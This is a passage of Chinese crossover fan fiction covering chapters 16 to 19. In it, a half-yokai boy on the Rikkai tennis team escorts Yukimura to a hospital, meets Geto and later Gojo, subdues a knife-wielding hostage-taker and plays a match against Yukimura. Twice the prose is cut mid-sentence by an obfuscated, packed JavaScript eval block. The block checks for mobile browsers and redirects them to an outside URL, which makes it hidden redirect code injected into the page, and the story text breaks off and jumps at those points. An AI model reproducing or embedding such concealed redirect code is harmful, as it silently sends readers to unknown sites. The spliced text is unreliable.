“柳,数据显示,你今日蔬菜摄入量预计又将低于标准值17.8%。并且,试图将指定摄入物转移给他人,不符合训练营养计划。” 加九间柳的动作瞬间僵住。 柳莲二不知何时如同幽灵般出现在他们身后,笔记本摊开,目光透过镜片落在加九间柳还没来得及收回的筷子和柳明音饭盒里多出来的蔬菜上。 柳明音吓了一跳,虽然看不清,但从说话风格也能辨认:“诶?是柳前辈吗?” 丸井和切原在一旁憋笑憋得辛苦。 加九间柳默默收回筷子,看了一眼自己饭盒里剩下的青椒,沉默地夹起来,送进嘴里,面无表情地咀嚼起来,仿佛在完成一项艰巨的任务。 柳莲二满意地在本子上记录了什么,飘然离去。 下午的部活时间对柳明音来说更是灾难。球场上来回奔跑的人影在他眼里就是一团团移动的色块,除了身边那个气息无比熟悉的加九间柳,他根本分不清谁是谁。 “柳明音!反应太慢了!”真田的吼声从一个方向传来,柳明音只能眯着眼朝那个模糊的声源方向鞠躬道歉:“是!非常抱歉副部长!” 但他转错了角度,差点对着空气鞠躬。 练习间隙,一个熟悉但感觉有点怪的声音响起:“噗哩,明音君,你还好吗?”是学了一下仁王雅治口癖的柳生比吕士。 柳明音努力眯眼,看到一个模糊的人影(装成柳生的仁王雅治),旁边还站着一个更高些的模糊人影(柳生比吕士)。 “是仁王前辈吗?”柳明音不确定地猜测。 “噗哩~那我是谁呀?”仁王坏笑着追问,甚至悄悄和旁边的柳生换了个位置。 柳明音努力眯眼,感觉眼前还是两个模糊影子,只是高矮好像有点变化?他更加困惑了,无措地眨着眼:“对、对不起。” “很有趣不是吗,比吕士?”仁王笑着对身边的搭档说。 “仁王君,请不要过度捉弄视力障碍的后辈。”柳生推了推眼镜,语气冷静仿佛刚刚跟着恶作剧的不是他。 “噗哩~只是关心一下嘛。” 其他正在休息的正选们看着这一幕,心里想法出奇的一致:有趣。 回去的路上,加九间柳看了因为今天的意外而面露迷茫的柳明音一会儿,然后默默地伸出手,握住了柳明音的手腕。 柳明音愣了一下。 但加九间柳并没有松开,而是顺势向下,握住了他的手。他的手掌干燥而温暖,带着常年握拍留下的薄茧,力道沉稳而令人安心。 “跟着我。” 柳明音脸上的热度刚刚因为部活的疲惫而消退,此刻又“腾”地一下冒了上来。被幼驯染牵手领路……这好像是小学毕业后就没有过的事情了。他下意识地想抽回手,却被加九间柳更紧地握住。 “会摔。”加九间柳目视前方,简单地吐出两个字。 柳明音抿了抿嘴,最终放弃了挣扎,没有解释其实自己还是能看得到路的,任由加九间柳牵着他。指尖传来的温度和确切的引领感,奇异地驱散了他一整天因为看不清而产生的焦躁和不安。 他微微收紧手指,回握住对方。 加九间柳的脚步似乎几不可查地顿了一下,随即恢复如常。 夕阳将这对牵着手的少年身影逐渐拉长,融合在神奈川傍晚温暖的色调里。 17. 复查 几天后,正值周末,是幸村精市预约复查的日子。原本真田弦一郎或柳莲二会陪同前往,但不巧真田家有重要的家族活动无法缺席,柳莲二则被突然的数学竞赛集训召走。其他正选也各有安排,一时间竟抽不出可靠的人选陪同部长前往东京的医院。 “只是复查而已,我一个人也没问题的。”幸村精市微笑着安抚略显焦躁的队员们。 “不行!”真田弦一郎完全放心不下幸村精市,如果有什么问题幸村精市绝对会隐瞒的,“绝对不能一个人去!” “但是大家确实都……”幸村语气温和,带着坚持意味。 正在气氛有些僵持时,柳莲二翻看着手中的笔记本,忽然开口:“数据显示,加九间君今天没有任何预定安排。” 所有人的目光瞬间聚焦在一旁安静待机的加九间柳身上。 加九间柳感受到视线,抬起头,看向柳莲二,又看向幸村,点了点头:“我可以。” 于是,陪同部长的任务就这样落在了加九间柳肩上。 前往东京的电车上,气氛并不沉闷。幸村精市并非寡言之人,他温和地询问了加九间柳一些关于训练和学业的事情。偶尔幸村也会聊起窗外闪过的风景或某本看过的书,加九间柳虽然回应简短,但听得十分专注。 “柳君和明音君总是形影不离呢,”幸村微笑道,“今天他没来,反而有点不习惯了。” “他去漫画新刊的签售。”加九间柳如实汇报柳明音的行程。 “真是有活力。”幸村轻笑,“这次麻烦你了,柳。” “不会,”加九间柳摇头,“我很愿意。” 医院里消毒水的气味弥漫。复查过程很顺利,一系列检查做完,医生看着最新的报告,脸上露出满意的笑容。 “恢复得非常理想,幸村君。各项指标都在稳步提升,照这个趋势,很快就能恢复到以前的运动强度了。”医生的话语如同最好的定心丸。 “非常感谢您。”幸村精市的笑容愈发真切。 加九间柳站在一旁,听着医生的诊断,心中也为部长感到高兴。他的目光下意识地扫过走廊,忽然,在候诊区一个阳光难以直射的昏暗角落,他的视线定格了。 那里有一团难以名状的东西。 像是一团扭曲、蠕动、不断变换形状的肉块,散发着令人极其不适的粘稠恶意。它盘踞在角落,仿佛是从医院积累的负面情绪中滋生出的污秽。来来往往的病人、家属、医护人员都对它视而不见,似乎完全看不到这个恶心的生物。 妖怪?不,才不会这么恶心。那是鬼?还是别的什么?加九间柳微微蹙眉。这种东西他隐约有点印象,似乎很久以前也见过一两次,但从未如此清晰地感知到其中蕴含的恶意。 “柳君?”幸村精市注意到了他的走神,顺着他的目光看向那个在他眼中空无一物的角落,面露疑惑。 加九间柳没有立刻回答。他盯着那团东西,它蠕动的姿态仿佛在嘲笑着周遭的无知无觉。一种本能的排斥感涌上心头。他迈开脚步,径直走向那个角落。 在幸村略带惊讶的目光注视下,加九间柳抬起脚,对着那团在他眼中清晰无比的扭曲生物,干脆利落地踩了下去。 “叽——!”一声极其尖锐的凄厉惨叫仿佛直接刺入脑海,但那东西并未消失,反而蠕动得更加剧烈,试图缠绕上他的脚踝。 没死。而且触感令人极度不适。 加九间柳面不改色,俯下身,伸出手,然后用力将它从阴暗的角落里扯了出来,拖行到走廊窗户投射下的明亮阳光里。 那东西在阳光下似乎萎缩了一些,但仍然顽强地存在着,扭曲翻滚,恶意不减。 不是鬼。或者说,能在阳光下活着的鬼。 幸村精市完全看不到加九间柳手中的“东西”,他只看到加九间柳对着空气完成了一系列古怪的动作:踩地、弯腰、拖拽……最后似乎抓着什么无形之物站在阳光下。他脸上的疑惑更深了,但他没有出声打扰,只是耐心而关切地看着。 加九间柳看着在阳光下依旧存活的不明生物,陷入了短暂的沉默。他确实不知道该怎么彻底处理这种东西。物理攻击效果不佳,阳光也毫无用处。 就在这时,一只骨节分明的手轻轻拍了拍他的肩膀。 加九间柳转头,看到一个穿着黑色制服身材高挑的黑发少年站在身边。少年扎着半丸子头,额前有一缕奇怪的刘海,眼睛细长,总是眯缝着,带着一种温和又疏离的笑意。他指了指加九间柳“手中”那团常人看不见的东西。 “这个,交给我来处理吧?”少年的声音温和有礼。 加九间柳打量了他一下。这个少年似乎也能看到,而且态度从容。他将那团怪物移到少年面前,松开了手。 黑发少年的掌心浮现出一种极其微弱但蕴含着特殊力量波动的光。只见那团扭曲蠕动的生物仿佛被无形的力量强行压缩、撕裂,最终发出一声低嚎,旋即彻底消散,再无痕迹。 “这样就好了。”少年放下手,看向加九间柳,“你能看见咒灵?” “咒灵?”加九间柳捕捉到这个新词汇。 “嗯,刚刚那种东西就叫咒灵。是由人类的负面情绪滋生出的诅咒。普通人看不到,也无法祓除,需要咒力才行。”名为夏油杰的少年耐心地解释了几句。他因为任务受伤在这家医院短期住院观察,刚好感知到微弱的咒力波动和残秽,便过来查看。五条悟不在这里,他看不出加九间柳是否具有咒力,但能看见且毫不畏惧咒灵,本身就说明他不普通。 “原来如此。”加九间柳点头,接受了这个解释。 “我是夏油杰。”少年自我介绍道,“以后如果再遇到这种东西,你可以联系我。”他拿出手机。 加九间柳也报上名字,两人交换了LINE联系方式。夏油杰注意到不远处等待的幸村精市,对他礼貌地点点头,便告辞离开了。 加九间柳走回幸村精市身边。 “解决了?”幸村温和地问道,没有追问细节,但眼神表明他需要一个解释。 “嗯。一种叫‘咒灵’的东西,普通人看不见。”加九间柳言简意赅地总结,“刚才那个人是专家。” 幸村精市若有所思地点点头,他没有质疑其真实性,只是微笑道:“解决了就好。” 加九间柳接过幸村的复查报告,再次仔细查看确认一切良好后,两人才离开医院。 回程的电车上,加九间柳拿出手机,在名为“立海大三连霸”的群聊里简洁汇报了复查结果。 【加九间柳】:幸村部长复查结束。医生确认恢复良好,很快可恢复原有训练强度。 消息一出,群里立刻被各种“太好了!”“部长万岁!”“辛苦了加九间!”的刷屏淹没。 同时,他也低声向身边的幸村精市更详细地解释了一下刚才发生的事情,但也只是将夏油杰的话和自己看到的场景转述出来。 幸村精市安静地听着,目光投向车窗外飞速掠过的都市景象,自从认识了加九间柳,以往科学平静的生活似乎正在逐渐离他而去了,幸村精市轻轻感叹:“世界真大啊……”不过也正是因为认识了加九间柳,才让他的网球没有可能死在这一年。 加九间柳看向部长的侧脸,安慰道:“不必担心,一旦遇到无法处理的情况,找我就好。”他永远会以最快的速度到达朋友身边。 电车平稳地行驶着,车厢内只有规律的轨道摩擦声和细微的人语。加九间柳的注意力似乎重新回到了手机上,指尖快速而无声地敲击着屏幕。 幸村有些好奇地看着他。加九间柳平时几乎不怎么看手机,除了必要的联系和接收柳莲二的数据邮件外,他对电子设备兴趣缺乏。此刻这般专注,实在少见。 他自然不知道,加九间柳正在给柳明音进行“文字直播”。 【To:明音】 :复查结束。医生确认部长恢复良好。 :已上车。预计到达时间17:20。 :遇到一种名为“咒灵”的生物。已由专业人士夏油杰处理。 :附图:[一张从车窗向外拍摄的略显模糊的都市风景照] :另,签售会人多,注意安全。 没过几秒,手机就震动起来。 【From:明音】 !!!咒灵?!那是什么东西?!听起来超危险的!你没事吧?! 签售会好热闹,我拿到签名了!超幸运!附图:[一张漫画签名的特写,字迹有些狂放] 知道了知道了,小柳你好啰嗦。 等等部长恢复良好?!太好了!不愧是部长![撒花.jpg] 所以咒灵到底是什么啊?!详细说说!长得吓人吗?! 加九间柳看着屏幕上瞬间刷过的一连串信息,几乎能想象出柳明音一边排队一边瞪大眼睛手指飞快打字的模样。他眼底掠过一丝极难察觉的柔和,开始逐一回复。 幸村看着加九间柳对着手机,虽然脸上依旧是那副没什么表情的样子,但周身的气息却莫名缓和了不少,便猜到通讯对象是谁了。他笑了笑,不再打扰,将目光重新投向窗外。 电车缓缓驶入神奈川站台。加九间柳收起手机,和幸村精市一同随着人流下车。车站内人来人往,略显嘈杂。 刚走出几步,不远处突然传来一阵急促的奔跑声和严厉的呵斥:“站住!不许动!” 人群一阵骚动。只见一个神色疯狂眼里布满血丝的男人正拼命奔跑,他怀里似乎紧紧揣着什么东西,粗暴地撞开挡路的旅客。他的身后,几名穿着便衣但行动迅捷男子正在紧追不舍,其中一人甚至对着衣领处的通讯器急促地喊着什么。 那亡命之徒眼见前方出口人流密集,追兵又近在咫尺,情急之下目光四处扫射,寻找脱身或制造混乱的机会。他的视线很快锁定了前方两个穿着校服看起来年纪不大似乎更容易控制的少年——正是加九间柳和幸村精市。加九间柳的身高相对更矮一些,看起来似乎是更好的目标。 歹徒心一横,脸上闪过极端凶戾的神色,猛地调转方向,如同失控的野兽般朝着加九间柳猛扑过来! 加九间柳的反应极快。在对方扑来的瞬间,他伸出手,将身边的幸村精市往旁边安全的位置轻推了一把,确保部长远离危险。 就在这瞬间,那疯狂的歹徒已经扑到加九间柳身后,一条粗壮的手臂死死勒住了加九间柳的脖颈。巨大的力量瞬间压迫气管,另一只手中一把锋利的匕首已然抵在了加九间柳的脖子上! “都他妈给老子滚开!再靠近一步我就割断他的喉咙!”歹徒声嘶力竭地咆哮,手臂因为疯狂和用力而青筋暴起。冰冷的刀尖毫不留情地刺入皮肤,殷红的血珠立刻渗了出来,顺着加九间柳的脖颈滑落,在他的立海大校服上染出刺目的红点。 周围的人群爆发出惊恐的尖叫,纷纷后退。 幸村精市被推开一步,稳住身形后看到的就是这惊心动魄的一幕。他的瞳孔瞬间收缩,紧盯着那滴落的血珠和加九间柳瞬间因缺氧而微微泛红的侧脸,周身的气息骤然变得冰冷。 被死死勒住的加九间柳,垂着眼睑,仿佛在感受着脖颈上传来的刺痛和窒息的压迫感,又像是在冷静地计算着什么。 追击的便衣们立刻停下脚步,紧张地形成包围圈,大声警告:“放开人质!你逃不掉的!” “闭嘴!给老子准备车!快!”歹徒疯狂地叫嚣着,手臂更加用力,刀尖又深入一分,更多的血珠涌出。他拖着加九间柳试图后退。 就在这歹徒注意力略微分散在与警察对峙的瞬间—— 加九间柳动了。 未被束缚的右手抬起,拇指和食指精准无比地捏住了歹徒勒在他颈前的小臂内侧某处穴位,猛地发力! “呃!”歹徒只觉得整条小臂瞬间酸麻剧痛,如同被电流击中,勒紧的力量不由自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那声音很轻,混在车站的嘈杂和歹徒的哀嚎背景音里,几乎微不可闻。但幸村精市听得清清楚楚。他侧过头,看着躲在自己身后、只露出一点发顶和紧攥着他衣角的手的加九间柳——这个刚刚面无表情捏碎别人骨头的少年,此刻却因为脖子上一道不算太深的伤口,用几乎撒娇的语气向他抱怨“很痛”。 幸村精市眼前似乎被糊上了一层极厚的滤镜,在他眼中,他身后仿佛站着一个可怜的被人欺负的小狗。他放柔了声音,安抚道:“嗯,我知道。伤口需要尽快消毒处理一下,很快就不痛了。”他的身体微微向后靠了靠,形成了一个更可靠的庇护姿态,将加九间柳更严实地挡在自己身后,隔绝了那些投来的惊讶或探究的目光。 一位看起来是负责人的警官走上前,心有余悸又感激地看着幸村以及他身后只露出一点身影的加九间柳:“两位少年,没……没事吧?真是太感谢了!”他看了看地上惨叫不止的爆炸犯,又看了看躲在同伴身后,在此时显得格外“弱小”的加九间柳,表情十分复杂。 幸村精市上前半步,将加九间柳完全护在身后,脸上带着无可挑剔的略带歉意的温和笑容应对警官:“您好,我们没事。只是我的同伴受了惊吓,而且受了伤,需要尽快处理。请问我们可以先简单处理一下伤口吗?配合调查的事情我们一定会尽力。”他将加九间柳刚才凶悍的表现归结为“受惊吓”后的自卫,并将焦点引向了伤口的处理。 加九间柳在他身后,依旧抓着他的衣角,安静地低着头,配合地扮演着一个“受惊”且“受伤”的受害者角色,虽然他那张面瘫脸实在看不出多少惊吓,但脖子上的血迹和伤口是实实在在的。 由于事件性质严重,且加九间柳是直接制伏歹徒的关键人物,警察需要他配合做详细笔录。幸村精市作为目击者和同伴,也需要留下提供证言。在等待进一步处理时,两位穿着便服气质独特的年轻男子挤了过来。 “哇哦!好身手!”一个半长发的青年惊叹道,他是萩原研二,就是他在车站发现了炸弹,并报了警,“我们是警校生,刚好也在车站。真是惊险啊!小朋友,你没事吧?”他认出了加九间柳,“你是……上次和降谷一起的那个孩子,对吧?” 加九间柳看向他,点了点头。 旁边的卷发墨镜男——松田阵平——在萩原研二报警时拆除了炸弹并发现了可疑的嫌疑人,可惜还没出手便被莽撞赶来的警察扰乱计划。他蹲下身粗略查看了一下歹徒那明显碎裂的手臂和略有扭曲的膝盖,嘴角狠狠抽动了一下,抬头看向加九间柳,眼神复杂:“你这……下手可真够重的。” “他弄疼我了。”加九间柳扯了扯幸村精市的外套,往他身后缩缩。 萩原研二&松田阵平:“……” 萩原研二默默地将目光投向旁边气质温和优雅的幸村精市。 幸村精市回以一个无可挑剔的温柔微笑,语气真诚:“正当防卫,非常时期非常手段,可以理解。”只是那笑容底下,似乎隐藏着和加九间柳如出一辙的冰冷。 两人并不介意对方对态度,任谁遇到这种事都很难有什么好脸色。萩原研二对这个降谷口中观察力惊人的小子很感兴趣,成功缠着交换了 后续处理完毕,加九间柳和幸村精市终于得以离开车站。 “今天真是……很精彩的一天。”幸村精市看着身旁脖子上贴了块纱布的加九间柳,忍不住轻轻叹了口气,语气中带着一丝后怕和庆幸。 加九间柳:“嗯。” “不过,幸好柳君足够强大。”幸村这次的笑容真切了许多。 加九间柳侧头看他,认真地说:“部长也很冷静。”指的是他面对意外和鲜血时异常的镇定,也很难得。 幸村笑了笑,没有再说什么。 加九间柳的手机震动了一下,是柳明音发来的消息,问他到家了没有,以及关于“咒灵”的十万个为什么还在持续刷屏。 加九间柳低头,开始耐心地一条条回复,略去了被挟持受伤的细节。 18. 天衣无缝之极限 在之后的某个周末。加九间柳独自出门,打算购置一些新的绘画用品。路过一家常去的花店时,他意外地看到了一个熟悉的身影。 幸村精市正站在一片盛开的百合花前,微微俯身,轻嗅着花香。阳光透过花店的玻璃窗,在他鸢紫色的发丝上跳跃,柔和了他精致的侧脸轮廓。他察觉到门口的动静,抬起头,看到加九间柳,脸上露出温和的笑意:“柳,真巧。” 加九间柳点了点头,目光却被花店角落一桶明亮灿烂的小向日葵吸引了。它们不像常见的向日葵那般硕大,花朵小巧玲珑,颜色是极其纯粹和热烈的明黄,像一个个浓缩的小太阳,充满了蓬勃的生命力。 幸村顺着他的目光看去,微笑道:“很喜欢向日葵?” “嗯。”加九间柳走上前,仔细地看着那些小向日葵,“很亮。”他言简意赅地表达了自己的喜好。这种明亮而不刺眼,温暖而充满活力的感觉,让他感到平静而舒适。 “确实,看着就让人觉得充满希望。”幸村表示赞同,他挑选了几枝清新的白色百合和绿色的配叶。 两人各自付账。加九间柳小心地抱着那一小束被牛皮纸包裹好的小向日葵,幸村精市则提着搭配好的花束。走出花店,发现两人竟有一段同路。 闲谈间路过一个社区公园,公园一角设有公共网球场。虽然设施不如学校专业,但维护得相当不错。幸村精市的脚步不由自主地慢了下来,目光投向空无一人的球场。 他停下脚步,转向加九间柳,唇角勾起一抹清浅却战意微燃的弧度:“我们很久没有打一场了吧,柳。” 不是疑问,而是陈述。自从他生病以来,除了必要的康复性训练和指导队员,他已经太久没有真正为了“比赛”而站在球场上了。复查结果良好,身体状态正在快速回归,他渴望一场真正能让他重新感受网球魅力的对决。而加九间柳,这个力量、速度、学习能力都超乎寻常的对手,无疑是此刻最佳的选择。 加九间柳看着幸村眼中那熟悉的光芒,那种对胜利和挑战的绝对专注。他几乎没有犹豫,点了点头:“好。”幸运的是,他今天确实随身背着网球袋。 恰好有一位同样来公园打球,看起来颇为懂行的中年大叔愿意充当临时裁判。简单的热身之后,比赛开始。 没有欢呼的观众,没有熟悉的队友,只有阳光、微风、空荡的街头球场,以及两位同样认真的少年。 比赛从一开始就陷入了异常的艰难。加九间柳的力量惊人,每一次挥拍都带着破风之声,球速快,角度刁钻。然而,幸村精市看似温润柔和,底子里却是全国顶尖选手的扎实功底和强大意志。经历过病魔的淬炼和更加精准的针对性训练,他的防守密不透风,回球不仅精准,更是巧妙地将加九间柳施加的巨大力量化解,甚至加倍地回击过去,力度丝毫不减。 比分咬得极紧,每一分的取得都需经过多轮激烈的拉锯。3:2,幸村精市暂时领先一分。 交换场地时,幸村精市的气息依旧平稳,他看着对面眼神专注战意正浓的加九间柳,微微一笑。是时候了。 下一局,幸村精市发球。球速并不算最快,但带着一种奇异的旋转和精准的落点。加九间柳挥拍回击,然而,在球拍触碰到网球的那一刹那—— 眼前骤然一黑! 不是生理上的黑暗,而是视觉信号被彻底剥夺的虚无。紧接着,耳边所有的声音——风声、远处的车声、甚至自己的呼吸和心跳声——全部消失,陷入死寂。触感也随之剥离,他感觉不到手握球拍的实感,感觉不到脚下地面的支撑,甚至感觉不到自身的存在。 灭五感。 曾经在全国大赛看台上观摩时,他无法理解这种能力的实质。而如今,亲身经历之下,加九间柳才真正体会到这种网球技术的可怕。战意正浓的他顿时陷入了绝对的孤立无援之地。他只能凭借视觉被剥夺前最后看到的画面和对手的站位,下意识地朝着预估的方向挥拍,但挥空感一次次传来,他完全感受不到网球的存在。 一种极其微妙的久违的感觉从心底升起。心脏在胸腔里剧烈地跳动,不是因为疲惫,而是因为这种绝对的压迫感和……无能为力。 什么都看不到,什么都听不到,什么都感觉不到。 这种剥离一切的状态,让他不由自主地想起了很久很久以前,一辆列车呼啸的夜晚——那位有着火焰般鬓发和斗志的炎柱,炼狱杏寿郎。他在与上弦之叁的激战中瞎掉了一只眼睛,全身多处骨头碎裂,却依然燃烧着生命屹立不倒。那时已经痛到了极致而麻木了吧,那时的他,是否也像现在的自己一样,某种程度上“感受”不到痛苦,或者说,超越了感官的局限,仅凭着意志和本能去战斗。 那时候他是怎么做的呢? 燃烧最后的生命,突破极限,将一切灌注于手中的刀,去战斗,去保护——好在路过的加九间柳是只半妖,能够用科学无法解释的手段去治疗,那一战,无人死亡。 现在,大概也是要这样吧。 并非燃烧生命,而是要将某种更深层的东西——意志、本能、对这项运动最纯粹的热爱和专注——彻底点燃,突破这层感官的牢笼。 他似乎触摸到了什么关键。不再试图去“找回”失去的感官,而是将全部的精神,所有的注意力,都投注到那枚他看不见、听不到、摸不着的网球上。不是用眼睛去追寻,不是用耳朵去捕捉,而是用心去感受它的轨迹,用灵魂去呼应它的存在。他想起了第一次握住球拍时的新奇,想起了和明音在街头球场胡乱对打的欢笑,想起了立海大网球部训练时汗水滴落的声音,想起了对胜利最原始的渴望…… 一种温暖而强大的力量,仿佛破开坚冰的暖流,自心底最深处汹涌而出,瞬间流遍四肢百骸,驱散了所有的黑暗与死寂。 在幸村精市的眼中,站在球场对面的少年,身上仿佛突然散发出了某种纯粹而耀眼的光芒。并不刺眼,却带着一种穿透一切阴霾的温暖和强大活力,仿佛他自身化为了一个炽热的小太阳。 “天衣无缝之极限……”幸村精市轻声低语,眼中充满了震惊,随即化为更深沉的战意和一丝难以言喻的触动。他竟然在这种情况下,自主领悟了网球的至高境界之一。 加九间柳眼中的黑暗渐渐褪去,听觉和触感也开始回归,但一种全新的更加敏锐的感知方式取代了它们。他不再依赖单一的视觉或听觉,而是凭借一种融入骨血的本能和对网球最纯粹的直觉去判断、去移动、去挥拍!灭五感的效果正在被这光芒急速瓦解。 “啪!”清脆的击球声再次响起。加九间柳准确地接到了幸村精市打来的球,并以更快的速度回击过去,网球仿佛被注入了欢欣与生命力,划出的轨迹都带着光晕。 比赛局势瞬间逆转! 6:6平! 比赛进入了关键的抢七局。 加九间柳的视觉已经完全恢复,天衣无缝的光芒笼罩着他,让他整个人看起来明亮而耀眼。灭五感已经无法再影响到他分毫。他甚至能看到,对面幸村精市的呼吸微微有些乱了,额角渗出了细密的汗珠。自己领悟天衣无缝并迅速摆脱灭五感,似乎打乱了他一贯从容不迫的节奏。 在他眼中,幸村精市依旧能看、能听、能触,却接不住他打出的与之前并无太大差别的球了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360819|183667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他的回球不再像之前那样精准有力,偶尔会出现细微的失误。天衣无缝的光芒,以及加九间柳突破灭五感的事实,显然对他造成了某种精神上的冲击。 加九间柳蹙起了眉。在拿到发球权,准备发球前,他停了下来。他看着对面呼吸略显急促,眼神中带着一丝不易察觉的困惑和自我审视的幸村精市,明白了。 现在的幸村精市,被“天衣无缝之极限”的出现扰乱了心神,被自己绝招被破的事实所困扰,没有发挥出他真正的全国冠军级别的水平。 加九间柳握着网球,看着幸村,忽然开口,声音平静却带着一种奇异的穿透力:“遮住眼睛吧,精市。” 幸村精市猛地抬头,眼中闪过一丝愕然。 加九间柳继续平静地说道:“你被我影响了。”他顿了顿,“遮住眼睛吧,摒除那些能够影响你的感官。灭掉你的视觉,你能接到球的。” 他的语气无比肯定:“因为你是幸村精市。” 在学会用灭五感剥夺他人感官之前,你自己必然付出了超乎常人的努力,经历了无数次在五感消失的黑暗中独自摸索和适应的练习。那份深植于骨髓的在绝对黑暗中仅凭意志和本能打网球的能力,才是你真正的根基。 遇到超出自己规划的问题,那就主动灭掉自己最易受干扰的感官吧。以你的水平和意志力,没有什么可以打败你。 幸村精市怔住了。他看着加九间柳在天衣无缝光芒中依旧平静认真的眼神,忽然明白了对方的用意。他深吸一口气,眼中的动摇和困惑迅速褪去,取而代之的是更加锐利的光芒。 他抬手,将额上的绿色吸汗带轻轻拉下,覆盖住了双眼,在脑后系好。发带很好地遮挡了视线,将他隔绝在视觉的黑暗之中。正如加九间柳所说,当最强的干扰被主动排除,其他的感官反而变得更加敏锐,精神力高度集中,内心重归平静。 “继续吧,柳。”幸村的声音恢复了以往的沉稳。 加九间柳点了点头,抛球,挥拍!发球比之前更为迅速,力量也更强,裹挟着天衣无缝的光芒。 然而,陷入黑暗的幸村精市仿佛能“看”到球的轨迹一般,脚步迅捷地移动,球拍精准地拦截在网球的路线上,猛地回击!球速甚至比之前更快! 比赛再次回归到最初那种激烈胶着的状态,甚至更加白热化。两人在球场上奔跑,挥拍,汗水挥洒。 最终,还是经验更为老道,技术更为全面且重新找回专注的幸村精市,凭借更胜一筹的实力,拿下了抢七局的胜利。 比赛结束,两人都微微气喘,汗水浸湿了衣衫。 幸村精市拉下遮眼的发带,重新束回额上。他看着对面虽然输了比赛,周身光芒渐渐收敛,眼中却依旧清澈明亮的加九间柳,露出了一个无比真切的带着释然和感谢的笑容:“谢谢你,柳。” 不仅是为了一场久违的酣畅淋漓的比赛,更是为了在他动摇之时,点醒他的那句话。 加九间柳平复着呼吸,语气是一贯的平淡,却带着毋庸置疑的笃定:“我没有留余力。”他看着幸村,“就知道你会赢的。” 他顿了顿,补充道:“因为你是幸村精市。”——立海大的部长,带领他们走向胜利的“神之子”,并且,终将彻底摆脱“之子”的称号,成为名副其实的“神”。 幸村精市听懂了加九间柳的意思。他脸上的笑容扩大,伸出了拳头。 加九间柳看着他,也缓缓抬起拳头,与他轻轻一碰。 两人异口同声,道出了立海网球部不变的信念与目标: “立海大三连霸——” “没有死角!” 19. 慈善拍卖会 在东京都内一家风格华丽的酒店宴会厅。水晶吊灯折射出璀璨光芒。空气中弥漫着高级香水以及精致餐点的混合气息。 加九间柳穿着一身剪裁合体的深灰色西装,安静地坐在属于“待宵福利院”(姑获鸟在人类世界经营的孤儿院的化名,加九间柳曾推荐名字百鬼福利院,被驳回)的位置上。他与周遭那种浮华而略带虚伪的应酬氛围格格不入。他面前放着的,正是姑获鸟交给他的拍卖品图册,以及他自己带来准备捐赠拍卖的一件小件古董——一个鎏金银质香囊球,工艺精湛绝伦,透着岁月的沉淀,足以引起那些热衷“古老”的富豪们的兴趣。 他的任务很简单:代表无法前来的姑获鸟出席,必要时举牌竞拍一些对福利院来说有用的藏品,最后用姑获鸟的卡结算(虽然他自己的资产恐怕能买下这场内大半的拍品),然后离开。 拍卖会大多是些珠宝、名画或是某些名人捐赠的用品,加九间柳兴趣缺缺,只在中途一幅由某位福利院出身如今小有名气的画家捐赠的描绘孩子们在阳光下奔跑的油画时,举了几次牌,最终以一个合理的价格拍下。这画充满了生命力,姑获鸟会喜欢的。 就在拍卖师展示下一件拍品时,加九间柳感觉到一股毫不掩饰的极具压迫感的视线落在他身上。那视线并非恶意,却带着一种仿佛要将他从里到外彻底看透的探究。 他面无表情地侧过头,循着感觉望去。 只见不远处,一个身材极其高大穿着看似随意却价格不菲的黑色休闲装的白发少年正大大咧咧地坐在那里,即使坐着也比周围人高出一截。他脸上架着一副小小的圆形墨镜,此刻墨镜被拉低到鼻梁上,露出一双苍蓝色的眼眸。那双眼睛正一眨不眨地盯着他,嘴角咧开一个充满好奇和几分玩味的笑容。 加九间柳的目光与那双苍蓝眼眸对上的一瞬,对方眼中的兴趣更浓了。 “接下来这件拍品,是由‘阳光福利院’捐赠的,平安时代鎏金飞鸟纹银香囊……”拍卖师的声音响起,加九间柳带来的那件古董被呈上展台,引起一阵小小的赞叹。但他此刻的注意力已被那个白发少年完全吸引。 拍卖会中途休息,宾客们三三两两起身社交。加九间柳不欲多留,准备去登记一下拍下的油画然后就离开。他刚走到相对安静的走廊区域,那个高大的白发身影就如影随形地堵在了他面前。 “哟。”五条悟笑嘻嘻地,毫不客气地伸出手,重重拍在加九间柳的肩膀上,几乎用了能把普通人拍散架的力气,身体也顺势压下来,凑近他,墨镜后的苍蓝眼眸包含浓浓的趣味,语气轻佻又直接,“喂,你是个什么东西?” 加九间柳的肩膀一沉,昂贵的西装面料被捏出深刻的褶皱。他缓缓抬起头,对上五条悟探究的视线,声音冷硬:“哈?” 五条悟像是没感觉到他的不悦,反而更加凑近,几乎是在他耳边说话,气息却带着一种威胁感:“告诉我嘛告诉我嘛~你的样子很奇怪啊。一半像普通人一样,另一半……啧啧,不像咒灵,但又强得不像人。不说的话我就要在这里把你‘拔除’了喔?”他手上的力量加重,带着试探的意味。 加九间柳眯起眼睛,周身的气息瞬间变得危险起来。妖力在他体内无声地涌动,虽然被刻意压制,但那种源自脉的力量已然透出。若是这个莫名其妙的白毛家伙真的敢动手,他不介意让这个宴会厅见点血。 “拿开你的手。”加九间柳的声音低沉下去,带着毫不掩饰的警告。 “哎呀,这么凶?说说看嘛,你到底是什么……”五条悟还在嬉皮笑脸,手上的力道却丝毫未减。 就在这时,另一只手突然伸了过来,精准地握住了五条悟的手腕。力道不轻,带着明显的阻止意味。那手的主人扯了一下五条悟的手臂,但可惜没扯动。 “喂,你在对本大爷的人做什么?” 加九间柳和五条悟同时转头。迹部景吾不知何时走了过来,他穿着一身熨帖的白色西装,紫灰色的头发一丝不苟,目光看向五条悟,眉宇间带着不悦。他显然看到了刚才剑拔弩张的一幕。 